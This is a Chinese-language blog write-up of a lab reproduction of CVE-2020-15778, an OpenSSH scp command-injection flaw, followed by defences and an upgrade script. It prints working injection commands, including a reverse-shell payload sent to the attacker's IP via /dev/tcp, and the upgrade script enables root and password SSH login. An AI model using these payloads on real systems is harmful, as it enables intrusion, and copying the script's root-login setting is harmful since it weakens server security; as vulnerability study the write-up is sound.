OpenSSH_8.3-命令注入漏洞攻击与修复

OpenSSH_8.3及以下-命令注入漏洞攻击与修复

漏洞:CVE-2020-15778
2020年6月9日发现漏洞,2020年7月18日公开漏洞。

攻击原理

使用SCP中远程功能进行命令注入。

漏洞复现要求

OpenSSH版本 =<8.3p1

ssh连接密码

攻击环境

攻击方:kali:192.168.0.130

靶机: CentOS7:192.168.0.187

攻击测试

kali:

上传任意文件到靶机上,文件允许为空,因为上传的文件不是主角。而是``里面的命令作为注入点进行攻击。

scp dic.txt [email protected]:'`touch /tmp/test.txt` /tmp'

命令解读:使用scp将本地文件dic.txt上传到服务器[email protected]/tmp文件夹,使用``括起来的touch /tmp/test.txt就是注入的命令,会生成一个新的文件test.txt

靶机:

靶机查看/tmp目录下的文件:

[root@localhost tmp]# ls
dic.txt  test.txt

这样就实现了远程命令的执行。

GetShell

kali:

使用命令获取靶机的权限。

#使用一个窗口开启nc进行监听
nc -lvvp 7777
#开启另一个窗口,上传反弹shell的命令
scp dic.txt [email protected]:'`bash -i >& /dev/tcp/192.168.0.130/7777 0>&1`/tmp/attack.txt'

运行监听:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kE8l9TZZ-1603425751824)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20201023100602508.png)]

上传注入命令:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GxREZOVt-1603425751836)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20201023100646810.png)]

查看监听结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nrdHQfK6-1603425751844)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20201023100811774.png)]

可以执行命令,并且获取响应的信息。

攻击总结

漏洞复现简单,但是需要知道ssh密码。主要针对已知ssh密码,但没有访问权限/登录权限的攻击

防御方式

关闭网段访问

修改配置文件/etc/hosts.allow

使用如下的格式添加ssh访问权限:

sshd:192.168.0.158:allow	#允许IP地址为192.168.0.158的主机使用ssh连接
sshd:192.168.0.*:allow		#允许IP地址段为:192.168.0.0/24的主机使用ssh连接
sshd:all:deny				#拒绝除允许地址之外的所有主机使用ssh连接

此方法主要用于拒绝靶机进行远程ssh登录,提高ssh登录安全性。

升级openssh到openssh8.4p1版本

通过shell脚本运行:

#!/bin/bash
#更新ssh服务脚本

#下载
function download()
{
    
    
	##下载-将函数内部命令复制到命令行执行
	echo "正在获取安装包..."
	echo "获取openssh..."
	wget https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-8.4p1.tar.gz
	echo "获取openssl..."
	wget https://www.openssl.org/source/openssl-1.1.1g.tar.gz
	echo "获取zlib..."
	wget http://www.zlib.net/zlib-1.2.11.tar.gz
}

echo "请确保脚本与以下文件在同一文件夹:zlib-1.2.11.tar.gz、openssh-8.4p1.tar.gz、openssl-1.1.1g.tar.gz"
echo "如果没有上述文件,请中断(Ctrl+C)脚本。使用编辑器打开本文件,头部有下载方法"
sleep 1
echo "[========>                 ] 33%"
sleep 1
echo "[================>         ] 66%"
sleep 1
echo "[========================> ] 99%"
sleep 1

#解压
echo -e "\033[1;32m 解压安装包 \033[0m"
tar  --no-same-owner -zxvf zlib-1.2.11.tar.gz
tar  --no-same-owner -zxvf openssh-8.4p1.tar.gz
tar  --no-same-owner -zxvf openssl-1.1.1g.tar.gz

#安装zlib
echo -e "\033[1;32m 编译安装 zlib \033[0m"
cd zlib-1.2.11
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./configure --prefix=/usr/local/zlib
make && make install
sleep 1

#安装openssl
echo ""
echo -e "\033[1;32m 编译安装openssl \033[0m"
cd ../openssl-1.1.1g
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./config --prefix=/usr/local/ssl --shared
make && make install
echo '/usr/local/ssl/lib' >> /etc/ld.so.conf
ldconfig -v
sleep 1

#安装openssh
echo ""
echo -e "\033[1;32m 编译安装openssh \033[0m"
cd ../openssh-8.4p1
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./configure --prefix=/usr/local/openssh --with-zlib=/usr/local/zlib --with-ssl-dir=/usr/local/ssl
make && make install
sleep 1

#修改配置文件
echo -e "\033[1;32m 修改ssh配置文件 \033[0m"
echo 'PermitRootLogin yes' >>/usr/local/openssh/etc/sshd_config
echo 'PubkeyAuthentication yes' >>/usr/local/openssh/etc/sshd_config
echo 'PasswordAuthentication yes' >>/usr/local/openssh/etc/sshd_config

#备份原有文件
echo -e "\033[1;32m 备份与修改bin与keygen文件 \033[0m"
systemctl stop sshd
mv /etc/ssh /etc/ssh.bak
mkdir /etc/ssh
cp -rf /usr/local/openssh/etc/* /etc/ssh/

mv /usr/sbin/sshd /usr/sbin/sshd.bak
cp /usr/local/openssh/sbin/sshd /usr/sbin/sshd
mv /usr/bin/ssh /usr/bin/ssh.bak
cp /usr/local/openssh/bin/ssh /usr/bin/ssh
mv /usr/bin/ssh-keygen /usr/bin/ssh-keygen.bak
cp /usr/local/openssh/bin/ssh-keygen /usr/bin/ssh-keygen

#重启服务
echo -e "\033[1;32m 重启服务 \033[0m"
mv /lib/systemd/system/sshd.service .
systemctl daemon-reload
cp ./contrib/redhat/sshd.init /etc/init.d/sshd
/etc/init.d/sshd start
systemctl status sshd

echo -e "\033[1;32m ssh服务更新完成,目前版本"
ssh -V
echo -e "##########\033[0m"

或者直接下载

下载链接:

链接: https://pan.baidu.com/s/14aegreBtRdH1BShyohEwXw

提取码: c47t ,复制这段内容后打开百度网盘手机App,操作更方便哦

使用命令:

tar -zxvf ssh_update.tar.gz
cd ssh_update/
bash ssh-update.sh

安装成功查看版本:

[root@localhost ssh_update]# ssh -V
OpenSSH_8.4p1, OpenSSL 1.1.1g  21 Apr 2020

猜你喜欢

转载自blog.csdn.net/weixin_48684274/article/details/109239909